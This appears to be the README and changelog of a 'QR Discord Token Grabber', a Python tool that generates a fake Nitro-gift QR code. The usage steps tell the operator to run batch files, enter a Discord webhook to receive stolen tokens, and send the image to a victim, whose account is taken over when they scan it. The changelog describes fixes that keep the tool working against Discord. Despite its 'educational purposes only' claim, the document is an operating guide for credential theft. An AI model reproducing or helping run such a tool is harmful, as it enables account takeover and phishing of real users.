One prevalent issue was that discord regular changes class names for the QR code, thus breaking the program. This issue has been fixed using regular expressions. Another issue was that people were having trouble with chromedriver and chrome binaries. Therefore, in this revision, a compatible chrome driver and chrome binary are included within the program (84.0.4147.85). Also simplified dependencies; now you just have to run that installation bat.
1.4 KiB
QR Discord Token Grabber
A python script that generates a scam nitro QR code which can grab a victim's authentication token if scanned. Developed to show how social engineering is performed; use for educational purposes only.
Demonstration
Usage
-
This project requires Python >= 3.7.6. When installing Python, make sure to check the ADD TO PATH checkbox.
-
Run the
[1] install_requirements.bat
file. -
Unzip the
browser.7z
file so that the browser folder is in the same directory as the[2] run.bat
file. -
Run the
[2] run.bat
file. -
Input your discord webhook link (this link is used to post the authentication token to a channel). Note that, even if you do not input a webhook link, you will still receive the token when it is printed to the console, but note that you will lose this token once the program is closed!
-
Wait for
discord_gift.png
to be generated. Then, send the image to a victim for them to scan it. Note that the QR code is only valid for approximately two minutes after creation. -
When the QR code is scanned, you will be logged onto their account and receive their discord authentication token.